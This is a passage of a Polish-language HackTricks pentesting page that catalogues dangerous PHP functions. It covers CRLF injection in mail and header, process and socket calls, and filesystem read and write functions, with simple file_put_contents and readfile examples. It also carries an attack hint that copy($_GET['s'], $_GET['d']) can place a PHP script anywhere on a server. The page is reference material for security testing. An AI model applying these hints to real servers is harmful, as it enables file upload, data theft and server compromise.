mail // has CRLF injection in the 3rd parameter, opens the door for spam.
header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
Funkcje systemu plików
Według RATS wszystkie funkcje systemu plików w PHP są niebezpieczne. Niektóre z nich wydają się niezbyt przydatne dla atakującego. Inne są bardziej przydatne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL można użyć jako ścieżkę pliku, więc wywołanie copy($_GET['s'], $_GET['d']); można użyć do przesłania skryptu PHP w dowolne miejsce w systemie. Ponadto, jeśli strona jest podatna na żądanie wysłane za pomocą GET, każda z tych funkcji systemu plików może być wykorzystana do przekierowania ataku na inny host przez Twoje serwery.
Otwórz obsługę systemu plików
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
Zapis do systemu plików (częściowo w połączeniu z odczytem)
W niektórych przypadkach, podczas testowania penetracyjnego aplikacji internetowych napisanych w PHP, może być konieczne przeprowadzenie operacji zapisu do systemu plików. Może to obejmować tworzenie, modyfikację lub usuwanie plików na serwerze.
Jedną z metod, które można wykorzystać do zapisu plików, jest wykorzystanie funkcji PHP, takich jak file_put_contents()
lub fwrite()
. Te funkcje umożliwiają zapisanie danych do pliku na serwerze.
Przykład użycia funkcji file_put_contents()
:
<?php
$file = 'path/to/file.txt';
$data = 'Some data to write to the file';
file_put_contents($file, $data);
?>
W powyższym przykładzie, funkcja file_put_contents()
zapisuje zawartość zmiennej $data
do pliku o ścieżce $file
.
W niektórych przypadkach, aby przeprowadzić operację zapisu do systemu plików, może być konieczne wcześniejsze odczytanie zawartości istniejącego pliku. Można to zrobić za pomocą funkcji PHP, takich jak file_get_contents()
lub fread()
.
Przykład użycia funkcji file_get_contents()
:
<?php
$file = 'path/to/file.txt';
$data = file_get_contents($file);
echo $data;
?>
W powyższym przykładzie, funkcja file_get_contents()
odczytuje zawartość pliku o ścieżce $file
i przypisuje ją do zmiennej $data
. Następnie zawartość pliku jest wyświetlana za pomocą funkcji echo
.
Ważne jest, aby pamiętać, że operacje zapisu do systemu plików mogą być ryzykowne i powinny być przeprowadzane tylko w celach testowych i zgodnie z prawem.
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng // 2nd parameter is a path.
imagewbmp // 2nd parameter is a path.
image2wbmp // 2nd parameter is a path.
imagejpeg // 2nd parameter is a path.
imagexbm // 2nd parameter is a path.
imagegif // 2nd parameter is a path.
imagegd // 2nd parameter is a path.
imagegd2 // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
Odczyt z systemu plików
W niektórych przypadkach podczas testowania penetracyjnego aplikacji internetowych narażonej na PHP, może być konieczne odczytanie zawartości plików z systemu plików. Może to być przydatne, na przykład, gdy chcemy uzyskać dostęp do plików konfiguracyjnych lub innych poufnych informacji przechowywanych na serwerze.
Aby odczytać zawartość plików z systemu plików, możemy skorzystać z funkcji PHP, takich jak file_get_contents()
lub readfile()
. Te funkcje pozwalają na odczytanie zawartości pliku i przekazanie jej do naszego kodu.
Przykład użycia funkcji file_get_contents()
:
$fileContent = file_get_contents('/ścieżka/do/pliku');
echo $fileContent;
Przykład użycia funkcji readfile()
:
readfile('/ścieżka/do/pliku');
Ważne jest, aby pamiętać, że odczyt z systemu plików może być nielegalny i naruszać prywatność lub bezpieczeństwo. Należy zawsze przestrzegać prawnych i etycznych zasad podczas testowania penetracyjnego i uzyskiwania dostępu do plików z systemu plików.
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.